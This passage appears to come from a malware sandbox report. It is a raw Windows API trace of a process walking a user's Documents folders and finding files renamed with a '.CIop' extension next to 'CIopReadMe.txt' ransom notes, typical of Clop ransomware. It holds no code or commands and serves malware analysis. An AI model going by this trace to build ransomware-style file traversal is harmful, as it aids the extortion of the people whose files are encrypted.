(lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0158.935] lstrlenW (lpString=".CIop") returned 5 [0158.936] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.936] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.936] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.936] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0158.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0158.936] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67ddb8 [0158.936] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0158.936] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0158.936] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.936] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.936] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.936] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0158.936] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0158.936] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0158.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0158.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0158.936] SetErrorMode (uMode=0x1) returned 0x1 [0158.936] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0158.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0158.936] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0158.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0158.936] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e0b8 [0158.936] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0158.936] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0158.936] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.936] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.936] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0158.936] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0158.936] lstrlenW (lpString=".CIop") returned 5 [0158.937] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.937] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.937] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.937] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0158.937] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0158.937] lstrlenW (lpString=".CIop") returned 5 [0158.937] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0158.937] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0158.937] lstrlenW (lpString=".CIop") returned 5 [0158.937] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.937] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0158.937] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0158.937] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0158.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0158.937] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dc38 [0158.937] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0158.937] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.937] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.937] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0158.937] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0158.937] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.938] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0158.938] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0158.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0158.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0158.938] SetErrorMode (uMode=0x1) returned 0x1 [0158.938] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0158.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0158.938] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0158.938] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0158.938] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dfb8 [0158.938] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0158.938] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.938] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0158.938] lstrlenW (lpString=".CIop") returned 5 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0158.938] lstrlenW (lpString=".CIop") returned 5 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0158.938] lstrlenW (lpString=".CIop") returned 5 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.938] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0158.938] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0158.938] lstrlenW (lpString=".CIop") returned 5 [0158.938] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.938] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0158.938] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0158.939] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0158.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0158.939] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dc38 [0158.939] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0158.939] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.939] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0158.939] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0158.939] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.939] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.939] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0158.939] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0158.939] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.939] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0158.939] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0158.939] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0158.939] SetErrorMode (uMode=0x1) returned 0x1 [0158.940] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0158.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0158.940] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0158.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0158.940] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0158.940] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0158.940] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0158.940] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.940] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.940] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.940] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.940] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.940] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.940] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0158.940] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0158.940] lstrlenW (lpString=".CIop") returned 5 [0158.940] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.940] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0158.940] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0158.940] lstrlenW (lpString=".CIop") returned 5 [0158.940] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.940] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.940] FindClose 